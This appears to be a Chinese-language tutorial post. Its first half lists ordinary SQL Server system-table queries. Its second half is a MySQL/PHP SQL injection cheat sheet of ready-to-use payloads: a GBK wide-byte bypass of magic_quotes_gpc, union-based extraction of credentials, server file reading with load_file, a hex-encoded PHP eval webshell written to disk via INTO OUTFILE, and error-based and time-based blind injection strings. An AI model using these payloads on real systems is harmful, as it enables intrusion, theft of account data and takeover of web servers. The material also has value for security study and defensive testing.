查询Master下的系统表和系统视图获取数据库的信息和简单的渗透测试
在SQL中可以通过查询Master下的系统表(sys)和系统视图(information_schema)获取数据库的信息。SQL2000和SQL2005的结构略有不同。
系统表结构参考系统表详细说明。
系统信息结构图参考:http://dev.mysql.com/doc/refman/5.1/zh/information-schema.html
1、2000下操作:
系统表目录:大部分以dbo.sys为前缀。
系统视图目录:有20个常用的视图,以INFORMATION_SCHEMA为前缀。
在2000中我们可以用这两种方式的查询来得到相同的效果。
如:查询所有数据库:
select name from master..sysdatabases
select catalog_name from INFORMATION_SCHEMA.SCHEMATA
效果一样。
查询用户创建的所有数据库
select * from master..sysdatabases D where sid not in(select sid from master..syslogins where name='sa')
或者
select dbid, name AS DB_NAME from master..sysdatabases where sid <> 0x01
或者
select name from master..sysdatabases order by name asc
获取当前数据库中的所有用户表:
select Name from sysobjects where xtype='u' and status>=0
SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE = 'BASE TABLE'
获取某一个表的所有字段
select name from syscolumns where id=object_id('表名')
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'
查看与某一个表相关的视图、存储过程、函数
select a.* from sysobjects a, syscomments b where a.id = b.id and b.text like '%表名%'
查看当前数据库中所有存储过程
select name as 存储过程名称 from sysobjects where xtype='P'
查询某一个表的字段和数据类型
select name,xtye from syscolumns where id=object_id('表名')
SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = '表名'
2、2005下操作:
系统表目录:2000中的系统表,在05中都放在了系统视图目录下。
系统视图目录:存放了系统表和视图,增加了许多新的系统表,如支持xml。以sys.为前缀。
在2005中,系统表仍然属于Master数据库下。但是视图却被分配到了各个数据库下。因此:
select name from master..sysdatabases
select catalog_name from INFORMATION_SCHEMA.SCHEMATA
上面的两种查询就会有不同的结果。
第一个查询仍然可以返回所有的数据库列表。
而第二个查询只返回当前连接的数据库的信息。
除此之外的其他针对具体数据库的操作,跟2000一样。
由于结构不同,为了保证统一性,我们在对整个服务器操作时,最好使用系统表。而在对某一个具体的数据库操作时,则既可以使用系统表也可以使用信息结构图。
以下是简单的渗透测试
magic_quotes_gpc = On addslashes()过滤,对 ' " \ null 转义 即在前面加上反斜线
PS: intval() 用于过滤数字类型
register_globals = Off 关闭注册全局变量
display_errors = Off 关闭错误提示
GBK宽字节突破magic_quotes_gpc = On限制 用 % f5' 代替 ' 即 ' 变成 鮘' 而不是 \'
实践发现
假设 id 为数字型,如果sql语句为 id='$id' 即使用单引号,那提交?id=1 and 1=1 和?id=1 and 1=2 结果都是?id=1 ,即取空格前面的参数。
此时可使用?id=1' and 1=1# 和?id=1' and 1=2# 来判断以及构造SQL语句。
查看PHP代码有时若不替换一些字符如<,返回网页将无法查看代码。
replace(load_file(HEX),char(60),char(32))
union select 1,replace(load_file(HEX),char(60),char(32)),3
char(60)表示 <
char(32)表示 空格
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'
表示前后编码不一致
unhex(hex(参数))
union select 1,unhex(hex(load_file(HEX))),3
@@hostname DATA服务器名
@@version_compile_os 判断系统类型
@@basedir 数据库安装目录
@@datadir 数据库存储目录
@@plugin_dir 插件目录路径
@@group_concat_max_len group_concat()最大长度
user() 当前用户
database() 当前数据库
version() mysql版本
concat(字段1,0x7C,字段2,0x7C,字段N) 连接多个参数
group_concat(字段) 列出所有行
load_file(16进制文件物理地址) 读取文件
写webshell <?php @eval_r($_POST['c']);?> PS:windows地址用 / 或者 \\ ,单独 \ 不行。
and 1=2 union select 1,0x3C3F70687020406576616C28245F504F53545B2763275D293B3F3E,3,..n into outfile '文件物理地址'
select user,password,update_priv,file_priv from mysql.user mysql.user为用户全局权限
select * from mysql.db mysql.db为用户数据库操作权限
and (select count(*) from 表段)>0
and (select count(字段) from 表段)>0
and (select length(字段) from 表段 limit N,1)>5
and (select ascii(mid(字段,N,1)) from 表段 limit N,1)>96
and substring(@@version,1,1)=5
order by n
and 1=2 union select 1,2,3,4,5,6,7,8,9,n#
and 1=2 union select 1,2,TABLE_SCHEMA,4,5,6,7,8,9,n from information_schema.COLUMNS group by TABLE_SCHEMA limit N,1 查询第N个数据库名
and 1=2 union select 1,2,TABLE_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 limit N,1 查表段名
and 1=2 union select 1,2,COLUMN_NAME,4,5,6,7,8,9,n from information_schema.COLUMNS where TABLE_SCHEMA=16进制数据库名 and TABLE_NAME=16进制表段名 limit N,1 查字段名
and 1=2 union select 1,2,字段,4,5,字段,7,8,9,n from 数据库名.表段名 limit N,1 查帐号密码
偏移注射
order by 10 正在查询的字段有10个
and 1=2 union select *,1,2,3,4,5,6,7 from admin 表段admin有3个字段
and 1=2 union select 1,2,3,4,5,6,7,8,9,id from admin 表段admin存在字段id
and 1=2 union select *,1,2,3,4 from (admin as a inner join admin as b on a.id=b.id) 在5-10位置显示数据
and 1=2 union select *,1 from ((admin as a inner join admin as b on a.id=b.id) inner join admin as c on a.id=c.id) 在2-10位置显示数据
MySQL错误回显套公式法注入
+and+1=2+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b#
+or+1=(select+1+from+(select+count(*),concat(floor(rand(0)*2),(注入爆数据语句))a+from+information_schema.tables+group+by+a)b)#
注入爆数据语句
select+concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)
select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1
延时注入
select benchmark(5000000, md5('test')) from user where id=1 and 1=1
select * from user where id=1 or 1=(select benchmark(5000000, md5('test')))
select if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0) from user where id=1 and 1=1
select * from user where id=1 or if(ascii(substring((version()),1,1))<54,benchmark(5000000, md5('test')),0)